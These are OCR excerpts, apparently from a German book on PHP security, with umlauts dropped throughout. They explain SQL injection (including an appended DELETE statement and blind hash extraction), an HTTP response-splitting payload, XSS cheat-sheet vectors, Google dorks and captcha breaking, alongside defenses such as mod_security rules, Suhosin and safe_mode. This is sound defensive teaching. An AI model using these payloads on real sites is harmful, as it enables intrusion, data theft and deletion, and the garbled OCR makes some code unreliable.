47. Fehlermeldungen auswerten Sehr ausf hrliche MySQL Fehlermeldung Fehlermeldung eines Microsoft SQL Servers v llig anderen Statement f hren als der Anwendungsentwickler beab sichtigt hat und vom Auslesen von fremden Daten bis hin zur L schung einer ganzen Datenbank f hren SELECT name vorname FROM users WHERE id _GET id Dieser PHP Code bernimmt ungepr ft die URL Variable id in ein SQL Statement Die ungef hrlichste Angriffsm glichkeit ist das ndern dieser ID in der URL Bei Datenbanksystemen die Multi Que ries also mehrere durch getrennte SQL Statements erlauben kann das auch zur L schung von Daten f hren SELECT FROM users WHERE ID 1 DELETE FROM users Hier wird ein L sch Statement an eine SQL Abfrage angef gt die normalerweise nur einen Satz aus der Datenbank ausliest Um Informationen ber SQL Abfragen zu erhalten sind Fehlermeldungen eine gro e Hilfe Diese geben Aufschluss ber das verwendete SQL Statement Ung ltige SQL Abfrage SELECT post postid post threadid FROM post AS post INNER JOIN thread AS thread ON thread threadid post threadid LEFT JOIN deletionlog AS delpost ON delpost primaryid post postid AND delpost type post WHERE postid IN OR postid IN 42 260 264 272 347 485 mysql error You have an error in your SQL syntax Check the manual that corresponds to your MySQL server version for the right syntax to use near OR postid IN 42 260 2
48. Filter deren Konstante _VALIDATE_ enth lt werden eingesetzt um Werte zu pr fen Sie ndern die Werte in der Regel nicht wenn sie g ltig sind und geben FALSE zur ck wenn ein Wert bergeben wurde der nicht den Filterregeln gen gt 9 4 Verf gbare Filter 199 ID Konstante Beschreibung 257 FILTER VALIDATE INT Validiert Wert als Integerzahl und gibt stets einen dezimalen Integerwert zur ck 258 FILTER VALIDATE BOOLEAN Pr ft ob eine Variable als boolescher Wert interpretiert werden kann 259 FILTER_VALIDATE_FLOAT Pr ft auf syntaktisch korrekte Gleitkommazahl 272 FILTER VALIDATE REGEXP Pr ft gegen optional zu bergebenden regul ren Ausdruck Stellt fest ob der bergebene Parameter ein EAS NiF TOTER VAL IDA TE URE syntaktisch g ltiger URL ist 274 FILTER_VALIDATE_EMAIL Syntaxpr fung von E Mail Adressen Pr fung von IPv4 oder IPv6 Adressen auf FILTER_VALIDATE IP gt syntaktische Korrektheit 9 4 2 Reinigende Filter Die sanitizing oder reinigenden Filter ndern die bergebenen Vari ablen sodass diese den Filterregeln gen gen ID Konstante Beschreibung Entfernt Tags kann optional Zeichen 513 FILTER_SANITIZE_STRING mit hohen oder niedrigen ASCII Codes Alias FILTER_SANITIZE_STRIPPED in HTML Entit ten umwandeln oder entfernen URL codiert Strings entfernt optional 514 FILTER_SANITIZE_EN
49. GET 304 applicationjx unknown http www LOAD_ONLY_IF_MODIFIED VALID 17 21 26 281 140 ms 140 ms 1 GET 304 application x unknown http www LOAD_ONLY_IF_MODIFIED VALID 17 21 26 296 141 ms 141 ms 1 GET 304 applicationjx unknown http www LOAD_ONLY_IF_MODIFIED VALID 17 21 26 296 110 ms 110ms 1 GET 304 application x unknown http www LOAD_ONLY_IF_MODIFIED VALID Header Name serendipitylold_ses al Diese Browsererweiterungen sind zwar nicht als Angriffswerkzeuge gedacht k nnen aber als solche missbraucht werden Nachdem wir mit diesen Werkzeugen Parameter manipuliert haben k nnen wir auf grund des Verhaltens des Webservers auf die Architektur und die ver wendeten Validierungen schlie en und diese Informationen sind ent scheidend f r die Auswahl der konkreten Angriffsart SQL Injection Remote Include HTTP Response Splitting usw 3 2 2 Einen Proxy benutzen Die Verwendung eines Proxys ist die komfortabelste Methode um Parameter zu manipulieren Ein gutes Beispiel f r einen solchen Proxy ist kostenlos im Internet erh ltlich unter http www owasp org soft warelwebscarab html Hierbei handelt es sich um den Webscarab Proxy des Open Web Application Security Project Der Proxy ist ein Java Programm und l sst sich auf allen Systemen installieren auf denen das Java Run time Environment JRE 1 4 verf gbar ist F r Windows wird ein Installationsp
50. Grundlage f r eine Regel dienen Haben Sie nicht schon immer von Laden ffnungszeiten f r Ihren Onlineshop getr umt Um den stark vergr erten Suchraum einzugrenzen und die Wahr scheinlichkeit von False Positives zu verringern k nnen Sie mit SecFilterSelective auch einzelne Variablen oder Variablentypen aus der jeweiligen Payload untersuchen Zum einen k nnen Sie ausschlie lich den Inhalt einer POST oder GET Variablen an Ihre Filter bergeben indem Sie als erstes Argument f r die selektive Regel das Schl sselwort ARG_ gefolgt vom Namen der zu pr fenden Variablen bergeben das vollst ndige Argument lautet dann ARG_variablenname Beispielsweise k nnen Sie die POST GET Variable module auf eine HTTP URL untersuchen indem Sie einen Filter wie SecFilterSelective ARG module http deny schreiben w rden Diese Filtermethode ist zwar besonders feink rnig und w re gut geeignet um False Positives zu vermeiden jedoch soll ten Sie sie nie verwenden Warum nicht Durch eine Eigenheit von PHPs Variablenverarbeitung ist die Beschr nkung auf Variablennamen in mod_security trivial leicht zu umgehen Anders als jede andere CGI Sprache f hrt PHP vor der Verarbeitung von Variablen ein Trim ming durch entfernt also Whitespace um den Variablennamen Lau tete der Query String bei einem GET Request zuvor noch index php foo bar amp module blah amp foooo baz so wird daraus durch die PHP eigene Normalisierung folgen
51. Gruppe www data angelegt Dieses Programm versucht eine Textdatei zu inkludieren oder zu ffnen etc passwd die dem Benutzer root UID 0 geh rt Wird es ber den Webserver ausgef hrt berpr ft PHP die UID und Gruppe des Skripts 1001 www data und jeder durch das Skript zu ffnenden Datei in diesem Fall 0 0 Unterscheiden sich die UIDs wird dem PHP Skript die Verwendung der inkriminierten Datei verboten 10 7 1 Einrichtung des Safe Mode Um den Safe Mode in Ihrer PHP Installation zu aktivieren m ssen Sie lediglich in der php ini oder in der VirtualHost Definition in der Apa che Konfigurationsdatei einen Schalter umlegen php ini safe_mode On lt VirtualHost gt Bl cken php_admin_value safe_mode On Nach dem n chsten Webserver Restart ist der Safe Mode dann f r den entsprechenden virtuellen Host oder die gesamte Apache Instanz akti viert Einige PHP Programme unter anderem ltere Versionen von Typo3 berpr fen per ini_get ob der Safe Mode aktiviert ist erwar ten aber statt des R ckgabewertes On oder Off die booleschen Werte 0 oder 1 Sto en Sie auf Probleme mit einer inkorrekten Erkennung des Safe Mode sollten Sie statt safe_mode On die Einstellung safe_mode 1 verwenden 10 7 Safe Mode 221 10 7 2 safe_mode_exec_dir Zus tzlich gibt es einige Konfigurationsdirektiven die Sie setzen soll ten um den Safe Mode noch sicherer zu machen Dazu geh rt zun chst die Direktive safe_mode_exe
52. HTTP 1 1 302 Moved Temporarily Date Wed 24 Dec 2003 12 53 28 GMT Location http www php sicherheit de httprs php lang en Server Apache 1 3 29 Content Type text html Set Cookie PHPSESSID 1pMRZOi00zZZiE6Y6i ivsREg82pq9Bola 1251019693 path Connection Close lt html gt lt head gt lt title gt 302 Moved Temporarily lt title gt lt head gt lt body bgcolor FFFFFF gt lt p gt This document you requested has moved temporarily lt p gt lt p gt It s now at lt a 3 3 Angriffsszenarien und L sungen 57l href http www php sicherheit de httprs php lang en gt http www php sicherheit de httprs php lang en lt a gt lt p gt lt body gt lt htm1 gt Im obigen Beispiel wird der URL Parameter lang direkt in das Loca Antwort eines Webservers tion Header Feld geschrieben Um einen HTTP Response Splitting Angriff zu unternehmen muss Folgendes in den URL Parameter lang geschrieben werden httprs php lang foobar 0d 0aContent Length 200 0d 0a 0d 0aHTTP 1 1 20200 200K 0d 0aContent Type 20text htm1 0d 0aContent Length 2019 0d 0a 0d 0a lt html gt Hacked lt html gt Dies ergibt die folgende Ausgabe des Webservers HTTP Response Splitting HTTP 1 1 302 Moved Temporarily Angriff Date Wed 24 Dec 2003 15 26 41 GMT Location http www php sicherheit de httprs php lang foobar Content Length 0 HTTP 1 1 200 OK Content Type text html Content Length 19 lt html gt Hacked lt html gt Server
53. Handler die in praktisch jedem HTML Tag verwendet werden k nnen Da in CMS Foren und Blogs in der Regel keine legitimen Anwendungszwecke f r diese Handler existieren kann der Entwickler Code wie den untenste henden der haupts chlich vom Internet Explorer interpretiert wird filtern lt BODY ONLOAD alert XSS gt lt div onMouseOver javascript alert xss gt lt div gt lt a href foobar html onClick javascript alert xss gt test lt a gt 4 10 Angriffe verschleiern XSS Cheat Sheet 93 Auch in anderen Tags existiert die M glichkeit Skriptcode einzuf gen wie folgende Beispiele zeigen lt BODY BACKGROUND javascript alert XSS gt lt div BACKGROUND javascript alert XSS gt foo lt div gt lt BGSOUND SRC javascript alert XSS gt lt LINK REL stylesheet HREF javascript alert XSS gt lt META HTTP EQUIV refresh CONTENT 0 url javascript alert XSS gt lt TABLE BACKGROUND javascript alert XSS gt Browserspezifische Eigenheiten erlauben nicht nur JavaScript sondern auch die etwas un blicheren VBScript und Live oder Mocha Script Tags W hrend VBScript im Internet Explorer ausgef hrt wird kennen nur ltere Netscape Versionen die K rzel mocha und livescript Sie k nnen nach diesen Tags einfach beliebigen JavaScript Code einf gen lt IMG SRC vbscript msgbox XSS gt lt IMG SRC mocha alert xss gt Zu guter Letzt sind CSS Attribute ein beliebtes Ziel f r
54. Informationsgewinnung Aufbau einer robots txt Applikationspfade robots txt ist eine reine Textdatei und hat folgenden Aufbau robots txt User agent Disallow bin Disallow fastbin Disallow icons Disallow RealMedia Disallow forum Disallow Foren Wie hier gezeigt werden Verzeichnisse angegeben die normalen Benutzern verborgen bleiben Kandidaten f r solche versteckten Verzeichnisse sind Nibs include inc backup old Indem ein Angreifer zun chst die Datei robots txt aufruft und ihren Inhalt analysiert kann er anhand der f r Suchmaschinen verbotenen Pfade einen Angriff vorbereiten wenn der Administrator nicht weiter gehende Ma nahmen ergriffen hat um diese Verzeichnisse vor unbe rechtigtem Zugriff zu sch tzen Das Potenzial f r Fehlinterpretation ist jedoch so hoch dass eine automatische Analyse selten in Frage kommt m chten doch viele Website Betreiber zur Vermeidung von unn tigem Traffic und Urheberrechtsverletzungen etwa ihre Bildver zeichnisse nicht durch Google und Co indiziert wissen 2 7 3 Standardpfade Viele Content Management Systeme Foren oder auch G steb cher haben Administrationsoberfl chen Upload Verzeichnisse oder Konfi gurationsdateien in bestimmten Pfaden die vom Internet aus erreich bar sind Diese werden h ufig unter diesen Namen angelegt admin administration webadmin phpMyAdmin intern config upload data 2 7 Pfade 35
55. L nge von acht a2 2 Informationsgewinnung Google hilft Angriffsziele finden Zeichen haben sollte aus Buchstaben und Zahlen bestehen und auch Sonderzeichen enthalten 2 11 Google Dork Die beliebte Suchmaschine Google bietet einige Funktionen die einem Angreifer das Leben leichter machen Google stellt hierf r mehrere Suchfunktionen zur Verf gung inurl Mit inurl kann nach Dateinamen oder Pfaden gesucht werden Diese Funktion nutzt bereits der PHP Wurm Santy Beispiel inurl info php sucht alle Dateien die info php hei en filetype sucht nach dem angegebenen Dateityp Beispiel filetype txt sucht nach Textdateien ext sucht nach den angegebenen Extensions also Dateiendungen Bei spiel ext bak inurl php Dies funktioniert nur im Zusammenspiel mit inurl Unter bttp ljohnny ihackstuff com finden sich Hinweise und fertige Google Suchen f r Administrationsoberfl chen vergessene PHP Info Ausgaben und sogar Passwortdateien F r diese sehr vereinfachte Form der Entdeckung von Sicherheitsl cken hat sich der Terminus Google Dork entwickelt 2 12 Fazit Informationen sammeln ist ein wichtiges Thema sowohl f r Adminis tratoren als auch f r Entwickler Beide sollten die Methoden der Informationsgewinnung kennen verstehen aber auch zu verhindern wissen Vor allem das Thema Default User sollten Sie sich ins Gewis sen rufen und Ihre Systeme auf sichere und lange Passw rter berpr fen Tempor re
56. MysQL Kommentarzeichen in SQL mysgli_multi_query 26 5 SQL Injection SQL Injection Angriffe auf Formulare Beispiel f r manipuliertes HTML Formularelement Das superglobale Array _COOKIE Nun k nnen Sie lokal im Browser in die einzelnen Formularfelder Sonderzeichen eingeben und jeden Parameter auf SQL Injection hin berpr fen Besonders anf llig hierf r sind Radiobuttons Checkbo xen bzw Listboxen Denn diese werden vom Entwickler mit Werten vorbelegt z B T Shirt Gr en m 1 xl und meist am Server nicht mehr richtig validiert da die Entwickler der Meinung sind es werden nur diese Werte an den Server bermittelt Das ist aber defini tiv nicht richtig lt select name auswahl gt lt option value 1 gt Auswahl 1 lt option gt lt option value 2 gt Auswahl 2 lt option gt lt option value gt SQL Injection lt option gt lt select gt Auch durch einen dazwischengeschalteten Proxy wie im Kapitel 3 Parametermanipulation erkl rt kann eine SQL Injection durch ein HTML Formular durchgef hrt werden F r solche HTML Formularelemente empfiehlt sich eine White list berpr fung auf dem Server also ein Vergleich mit einem Array das die g ltigen Werte enth lt So kann bei HTML Elementen mit vordefinierten Werten eine Manipulation ausgeschlossen werden F r HTML Formularelemente die eine Auswahl zulassen sollten Sie immer eine Whitelist berpr fung auf dem Server
57. PHP 4 als CGI folgenderma en aus configure with mysql usr local mysql with gd with jpeg dir with png dir with freetype dir with dom enable memory limit disable cgi enable xsIt enable force cgi redirect with zlib with config file path etc httpd with openss bersetzt und installiert wird das PHP Binary wie blich Da kein Apache Modul involviert ist m ssen Sie die komplette Konfiguration in der Datei httpd conf von Hand anpassen Das ist jedoch schnell erle digt Zun chst kopieren Sie das vom Installer im Pfad usr local bin php abgelegte PHP Binary in ein Verzeichnis Ihrer Wahl das am besten au erhalb des Dokumenten Wurzelverzeichnisses f r Ihren Webserver bzw die virtuellen Hosts liegt wir verwenden hier den 10 6 suExec 217 Pfad home www cgi Danach legen Sie in der httpd conf ein Alias f r dieses Verzeichnis an und aktivieren die Ausf hrung von CGls ScriptAlias cgi php home www cgi lt Location cgi php gt Options ExecCGI lt Location gt Als N chstes richten Sie nur noch den passenden Dateityp ein damit PHP Dateien auch korrekt ausgef hrt werden AddType application x httpd php php4 php Action application x httpd php cgi bin php Nach einem Neustart des Webservers sollte Ihre PHP Installation funktionieren Ein gro er Pluspunkt ist dass jeder Ihrer Kunden oder jedes Pro jekt eine ei
58. Sie tun k nnen m chten wir Ihnen im n chsten Abschnitt vorstellen 4 18 3 Ein erster Schutz gegen CSRF Ein rundum wirksames Konzept gegen CSRF existiert leider nicht aber es gibt einige gute Wege die h ufigsten Gefahren aus dem Weg zu r umen Hierbei m ssen Sie zun chst zwischen den zwei Seiten des CSRF Problems unterscheiden Die Opfer Anwendung erlaubt es per GET sicherheitsrelevante Aktionen auszuf hren und muss entsprechend gesichert werden Die T ter Anwendung erlaubt die Einbindung von Bildern Sty lesheets Musik etc per externer Datenquelle dadurch kann ein CSRF Angriff gegen die Opfer Anwendung durchgef hrt werden Da die einfacheren CSRF Angriffe darauf basieren dass Formulare per POST sowie GET vom Server angenommen werden ist ein erster Schutz Formulare ausschlie lich per POST entgegenzunehmen Das bedeutet f r Ihre PHP Skripte dass das superglobale Array _REQUEST tabu ist eine Weiterverarbeitung von Variablen sollte nur stattfinden wenn diese aus _POST kommen Auch bei eingeschalteten register_globals erh ht sich die Anf lligkeit Ihrer Anwendung f r CSRF Angriffe 1 Schutzma nahme gegen CSRF Nur _POST verwenden Ein zus tzlicher Ansatz besteht darin stets sicherzustellen dass der Inhalt eines GET oder POST Requests auch tats chlich vom Benutzer absichtlich losgesandt wurde z B indem Sie f r jegliche sicherheitsre levante Aktionen stets eine zus tzliche Best tigung anfor
59. Sie Regeln miteinander verketten indem Sie zwischen mehrere Regeln die Aktion chain platzieren und die eigentliche Aktion f r den so entstandenen Kombinationsfilter erst nach der letzten Regel festlegen Zusammen mit der selektiven Suche von SecFilterSelective k nnen Sie auf diese Weise sehr feink rnige Regeln festlegen die einen effekti ven Schutz gegen Angriffe bieten Im Sommer 2005 wurden mehrere L cken in der XMLRPC Implementierung von PEAR entdeckt die die Ausf hrung von beliebi gem PHP Code erlaubten Diese L cken konnten sehr einfach mit einem einzigen POST Request exploitet werden und bis ein Patch ver f gbar war bestand die einzige Schutzm glichkeit darin die jeweiligen Dateien zu l schen oder nicht ausf hrbar zu machen Da jedoch XML RPC ein recht wichtiger Bestandteil vieler PHP Software ist so waren das Blog Serendipity die CMS Drupal und PostNuke und einige andere Produkte von diesen L cken direkt betroffen ging mit einem solchen Hotfix wichtige Funktionalit t verloren Eine ma geschneiderte mod_security Regel die den Zugriff aus schlie lich auf die inkriminierten Dateien die praktischerweise alle hnlich benannt waren mit einem sch dlichen POST Request ver hindert kann die Angreifer abhalten und behindert legitime Nutzer der Software nicht Zun chst ben tigen Sie eine Regel die die Request Methode ber pr ft nur POST Requests k nnen f r den Angriff genutzt werden SecFilterSel
60. Sie daf r sorgen dass der Zugriff auf die globale Version der PEAR Bibliotheken erhalten bleibt Neben dem Pfad zum Wurzelver zeichnis des aktuellen virtuellen Hosts sollten Sie also auch den Pfad zu PEAR zu den freigegebenen Verzeichnissen hinzuf gen Zum anderen sollte das upload_tmp_dir siehe unten stets unter halb eines der freigegebenen Pfade sein sonst k nnen PHP Skripte keine Uploads entgegennehmen und weiterverarbeiten da diese nicht im richtigen Verzeichnis zwischengespeichert werden Wir empfehlen dringend f r jeden virtuellen Host ein open_base dir zu setzen 10 8 2 disable_functions Einige PHP Funktionen gelten als Garanten f r Sicherheitsprobleme allen voran die diversen Systemfunktionen mit denen externe Kom mandos ausgef hrt werden k nnen Alle vom Administrator als gef hrlich oder unerw nscht erachteten Funktionen k nnen mit der Direktive disable_functions global deaktiviert werden und das heift leider auch dass die so deaktivierten Funktionen nicht f r ein zelne Kunden wieder angeschaltet werden k nnen H ufig werden die System und Prozesskontrollfunktionen in PHP ausgeschaltet vielfach ist es auch sinnvoll einige Funktionen aus dem POSIX Repertoire zu deaktivieren insbesondere in Verbindung mit mod_suid Einige ungeliebte weil ressourcenintensive Funktionen wie mysql_pconnect geh ren auch oft zu den Opfern von disable_ functions Die Konfigurationsvariable disable_functions er
61. Sie sie stets wie Benut zereingaben 4 16 Attack API Trotz der F lle an M glichkeiten die ber das DOM einem Angreifer offen stehen untersch tzen viele Entwickler aber auch Sicherheitsex perten das Problem XSS Dabei sind simple Popups oder auch gef lschte Newsmeldungen lange nicht alles was man ber JavaScript basierte Angriffe anstellen kann Was m glich ist demonstriert die Attack API eindrucksvoll In einer kompakten JavaScript Bibliothek sind neben Tools zum Sammeln von Informationen auch Werkzeuge zum Fernsteuern von Browsern und sogar ein in JavaScript implemen tierter Portscanner enthalten der schlie lich l uft er im Webbrowser und somit im lokalen Netzwerk auch dazu eingesetzt werden kann ein Firmen LAN von au en nach bestimmten Kriterien zu durchsuchen Auch ein Keylogger findet sich in der Toolsammlung sehr prak tisch um etwa unbemerkt ber eine XSS L cke Formulareingaben abzuh ren Die Attack API gibt einen Ausblick darauf wie Cross Site Scripting in der Praxis eingesetzt wird um ber unsichere Webanwen dungen ganz konkrete Angriffe auszuf hren und Userdaten auszusp hen 11 http www gnucitizen org projects attackapi 4 17 Second Order XSS per RSS 4 17 Second Order XSS per RSS Durch das massenhafte Aufkommen von Weblogs hat sich ein zus tz licher Weg XSS Angriffe sowohl auf Endnutzer als auch auf Site Admins durchzuf hren aufgetan XSS per RSS RSS das Rich Site Summa
62. Sonderzeichen die nichts im User Agent verloren haben wie z B das Zeichen Diese Methode ist aber sehr unzuverl ssig denn auch diese Pr fung muss bei jeder neuen SQL Injection M glichkeit erneuert werden Abschlie end kann man zusammenfassen dass jede Variable die nicht mit einem Cast Operator behandelt werden kann mindestens mit mysql_real_escape_string behandelt werden soll F r Werte die sich nicht oft ndern kann eine Whitelist berpr fung infrage kommen Alle _SERVER Variablen die an eine Datenbank weitergegeben werden m ssen ebenso wie alle anderen Variablen validiert werden Das Aktivieren von magic_quotes_gpc ist keine ausreichende Ma nahme da nur in PHP 4 die _SERVER Variablen davon betroffen sind mysgl_real_escape_ string Cast Operator 130 5 SQL Injection Angriffe auf Log Dateien des SQL Servers 5 3 Syntax einer SQL Injection Um eine SQL Injection erfolgreich durchzuf hren muss man das vom Entwickler verwendete SQL Statement erraten Dazu ist es notwen dig die m glicherweise verwendeten SQL Schl sselw rter und Son derzeichen zu kennen 5 3 1 Sonderzeichen in SQL Wie wir bei der PHP Funktion mysql_real_escape_string schon gese hen haben m ssen einige Sonderzeichen f r die Verwendung in SQL Statements maskiert werden Maskiert bedeutet dass dem Sonderzei chen ein Backslash vorangestellt wird Hier eine Auflistung der zu maskierenden Sonderzeichen NULL
63. Superglobals benutzen 6 Authentisierung und Authentifizierung ablen durchf hrte allerdings im weiteren Verlauf des Skripts die Vari able REQUEST abfragte Durch eine manipulierte POST Anfrage konnte der Angreifer nun ungehindert einen Login durchf hren ohne ber die notwendigen Rechte zu verf gen F r Login Formulare stets POST verwenden 6 3 2 Falsche SQL Abfrage blicherweise werden f r Login Formulare ein Benutzername h ufig die E Mail Adresse und ein Passwort abgefragt die der Benutzer meist selbst w hlen kann Warum allein schon die M glichkeit die Authentisierungsdaten selbst zu w hlen eine schlechte Idee sein kann erfahren Sie sp ter zun chst geht es darum wie mit diesen Daten ver fahren wird Die allermeisten Login Formulare werden nach dem Abschicken gegen eine Datenbank gepr ft dabei wird dem jeweiligen Daten bankclient eine folgenderma en aufgebaute Abfrage bergeben query SELECT username FROM auth_users WHERE username POST L user AND password POST L password Die meisten Entwickler vergessen jedoch dass eine solche Abfrage je nach Typ und Konfiguration der Datenbank oder Tabelle Gro und Kleinschreibung nicht beachtet Ein Benutzer namens absynth mit dem Passwort geheim k nnte sich genauso als ABSyntH mit der Kennung gEhEiM einloggen Dadurch wird Angreifern ein Brute Force Angriff gegen das durch den Login Bereich gesich
64. Tag lt parm gt lt parm gt mit einem Attribut das den Namen des Parameters also der GET oder POST Variablen enth lt Das sieht etwa so aus lt parm name meinevariable gt Constraints hier lt parm gt Zun chst definieren Sie nun f r jede Variable den Datentyp der Vari ablen mit folgendem XML Tag lt type name TYP gt Danach k nnen Sie konkrete Beschr nkungen einf hren die allerdings vom Typ des Parameters abh ngig sind Das dazugeh rige XML Tag sieht folgenderma en aus lt attr name attribut value Beschr nkungswert gt Die mod_parmguard bekannten Typen und ihre m glichen Attribute sind die folgenden 306 12 Webserver Filter f r Apache Typ Attribut Beschreibung Integer minval Minimalwert f r den Parameter mit Vorzeichen gemal maxval Maximalwert f r den Parameter mit Vorzeichen String minlen Minimale L nge des Stringparameters maxlen Maximale L nge des Stringparameters charclass Regul rer Ausdruck der auf den Parameter zutreffen muss Enum multiple Kann eine Aufz hlung mehrere Werte annehmen Boolescher Wert 1 ja O nein option Eine erlaubte Option f r die Aufz hlung Ein Constraint das eine Postleitzahl auf korrekten Wertebereich zwi schen 01000 und 99999 pr ft w re mit wenigen Zeilen zu realisie ren lt parm name plz gt lt type name integer gt lt attr name minval value 01000 gt lt attr nam
65. URL angeh ngt 3 Der Benutzer klickt in einem Beitrag auf die externe URL http lwww php sicherheit de 4 Beim Betreten von www php sicherheit de enth lt die Servervari able _SERVER HTTP_REFERER die Session ID 123456trewg 5 Der Inhaber von http www php sicherheit de kann nun die Ses sion bernehmen da sich der User nicht auf der Forumsseite aus geloggt hat Er findet die Session ID z B in seinen Server Log Da teien oder hat eventuell spezielle Mechanismen zur Ermittlung des Referrers Ein Entwickler einer Applikation muss einen Mechanismus zum Aus loggen aus der Applikation implementieren um den Benutzer vor Ses sion Hijacking zu sch tzen Beim Logout Vorgang wird dann diese Session ID mit dem dazugeh rigen Session Speicher auf dem Server gel scht und ung ltig gemacht Eine andere M glichkeit wird im Abschnitt 7 9 3 Session ID aus dem Referrer l schen vorgestellt Au erdem kann der Session Timeout auf eine sehr kurze Zeit ein gestellt werden Bei wichtigen Transaktionen sollte ein erneutes Ein loggen oder wie bei Banken blich eine PIN oder TAN Abfrage durchgef hrt werden Wird die Applikation durch SSL gegen das Abh ren der Session ID gesch tzt so ist darauf zu achten das Session Management von PHP so zu konfigurieren dass das Session Cookie als secure markiert ist Dies kann ber die Konfigurationsdatei php ini geschehen oder aber direkt durch die Applikation mit der Funktion session
66. Verhalten zu ndern Es ist zum Beispiel m glich einen HTTP Fehlercode zur ckzuliefern und das Skript nicht auszuf hren Anstatt eines einfachen Fehlercodes kann auch per HTTP Redirect auf eine andere Seite umgeleitet oder gar ein PHP Skript angesto en werden welches dann beliebige Aktionen durchf h ren kann In der php ini sehen die verschiedenen M glichkeiten fol genderma en aus suhosin filter action 403 suhosin filter action http domain de nicht_erlaubter_request html suhosin filter action var www badguy_detected php Neben den m glichen Filtern f r GET POST und Cookievariablen sowie den kompletten Request Scope verf gt Suhosin neuerdings ber Schutzma nahmen f r einige Servervariablen die ber die beiden Konfigurationsdirektiven suhosin server strip und suhosin ser ver encode aktiviert oder deaktiviert werden k nnen Der Grund hier f r ist dass viele PHP Anwendungen davon ausgehen dass Variablen wie _SERVER REQUEST_URI oder _SERVER PHP_SELF nicht von au en manipuliert werden k nnen 11 5 Konfiguration 271 ber suhosin server strip wird geregelt ob pozenziell gef hrli che Zeichen wie einfache oder doppelte Anf hrungszeichen oder spitze Klammern in der Variablen _SERVER PHP_SELF gegen Fragezeichen ausgetauscht werden oder nicht Durch diese einfache Ma nahme die keine negativen Auswirkungen auf normale Applikationen haben sollte wird sichergestellt dass keine XSS Schwachst
67. a phpBB captcha 135LJW File upload Upload a Captcha file to test PWNtcha Send file Durchsuchen _ Send About PWNtcha See httn sam zoy org pwntcha for a list of Captchas that PwNtcha can defeat Download captchas from the vulnerable list and feed them to the above form You can also download vulnerable captchas from the following locations e linuxfr org http linuxfr org user new html e Gandi whois service http www gandi net whois l en e phpBB com http www phpbb com phpBB profile php mode register amp agreed true Warning abuse of this system will of course cause it to be shut down Do not even remotely imagine that you could use it as part of any malicious scheme involving captcha decoding Eat some bricks instead Fertig RT adok 4 Spammer haben mittlerweile beachtliche Erfolge bei der berwindung einzelner CAPTCHA Implementationen erzielt so wurden 2007 und 2008 angeblich die grafischen Sicherheitscodes mehrerer gro er Free mail Dienste dauerhaft berlistet und massenhaft Accounts zum Spamversand eingerichtet Das Katz und Maus Spiel das andere Bereiche der Computersicherheit seit Jahrzehnten bestimmt hat also auch im Bereich der CAPTCHAs an Fahrt aufgenommen Doch bis das passiert wird gl cklicherweise noch einige Zeit ver gehen und bis dahin ist ein halbwegs sicheres CAPTCHA eine gute M glichkeit Spam zu vermeiden M chten Sie CAPTCHAs in Ihrer Anwendung verwenden so k n n
68. amp 1 ergibt 1 conv substr passwd 1 1 16 10 amp 2 ergibt 2 conv substr passwd 1 1 16 10 amp 4 ergibt 0 conv substr passwd 1 1 16 10 amp 8 ergibt 8 u Ore Das bedeutet f r uns eine Bin rzahl von 1011 Hier muss man die Stel len von hinten nach vorne betrachten Um einen Passwort Hash auf diese Art zu erraten ben tigt man nun noch 4 32 128 Requests muss jedoch die Namen der Daten bankfelder kennen Bei Software die nicht ffentlich verf gbar ist ist dieses Wissen schwer zu erlangen 5 5 Schutz vor SQL Injection Um sich vor einer SQL Injection zu sch tzen bietet PHP einige Funk tionen an In den folgenden Abschnitten werden Ihnen Strategien erkl rt wie Sie sich vor einer SQL Injection sch tzen k nnen 5 5 1 Sonderzeichen maskieren Wie wir gesehen haben werden mit mysql_real_escape_string die Sonderzeichen maskiert So haben diese keinen Einfluss auf das SQL Statement mehr Diese werden aber nicht in der Datenbank gespei chert magic_quotes_gpc mysql real _escape_String oder addslahses Ist in der Konfigurationsdatei php ini die Einstellung magic_quotes_gpc auf on gesetzt werden alle Sonderzeichen die aus GET POST oder Cookie Variablen kommen ebenfalls mit einem Backslash maskiert Bei magic_quotes_gpc wird aber der Backslash in den zu behandelnden String eingef gt und so mit in der Datenbank gespeichert Eine weitere M glichkeit Sonderzeichen zu maskieren ist die PHP Funktion adds
69. auf die hochgeladenen Dateien ber den Webserver zu vermeiden 10 PHPintern Ein Beispiel f r diese Konfiguration k nnte folgenderma en lauten upload_tmp_dir home www kundel tmp Um zu vermeiden dass PHP Anwendungen als Datenspeicher f r Filme oder Software missbraucht werden und um sich gegen ber lange Ausf hrungszeiten durch lange Datei Uploads zu sch tzen k n nen Sie eine maximale Gr e f r hochgeladene Dateien definieren Dateien die dieses Limit berschreiten werden nicht angenommen und das PHP Skript das den Upload entgegennahm bricht mit einer Fehlermeldung ab Eine f r die meisten Anwendungen realistische Gr e sind 16 MByte in Ausnahmef llen k nnten auch 32 MByte sinnvoll sein Nat rlich gibt es auch Anwendungen gerade im Intranetbereich die Uploads in der Gr enordnung von mehreren Hundert MByte entge gennehmen daher ist es praktisch dass Sie diese Frage f r jeden vir tuellen Host individuell beantworten k nnen M chten Sie maximal 16 MByte gro e Dateien zum Upload zulassen geschieht dies mit upload _max_filesize 16M 10 8 8 allow_url_fopen Viele schwere Sicherheitsl cken in PHP Anwendungen k nnen dazu genutzt werden eigenen Schadcode per HTTP nachzuladen weil die betroffene Anwendung ungepr ft Daten an einen Aufruf von include require o weiterleitet Das zu verhindern kostet ent weder viel Arbeit f r einen vollst ndigen Audit siehe Glossar oder einen
70. das CAPTCHA ben tigen um sich einen neuen Zugang f r ihre Werbe mails zu schaffen Gegen dieses Vorgehen ist leider kein CAPTCHA gefeit denn sei nen Zweck hat es streng genommen erf llt Um das CAPTCHA zu lesen und zu interpretieren ist weiterhin ein Mensch notwendig Einen weiteren Ansatz verfolgt PWNtcha ebenfalls ein Kunst wort Pretend we re not a Turing Computer but a Human Antago nist oder Pwned CAPTCHA Der Entwickler dieser Programm sammlung konzentriert sich darauf vollautomatisch die verschiedens ten Implementierungen des CAPTCHA Konzeptes zu knacken und 12 http sam zoy org pwntcha Nachteile PWNtcha der CAPTCHA Schreck 168 6 Authentisierung und Authentifizierung Abb 6 1 CPTCHAs knacken mit PWNtcha PEAR Text_Captcha kann dabei bereits beeindruckende Resultate vorweisen Sollte dieses bisher unver ffentlichte Programm in Zukunft als Open Source her auskommen wird f r viele Anbieter von Foren und Blogs das Spam problem erneut in vollem Ma e auftreten siehe Abb 6 1 BEE Datei Bearbeiten Ansicht Gehe Lesezeichen Extras Hilfe ES a r gt S A O Kttp fwww pwntcha netjtest htmi Gl pwntcha PWNtcha proof of concept This page is dedicated to everyone who thinks PWNtcha is a hoax and even managed to prove it Wow 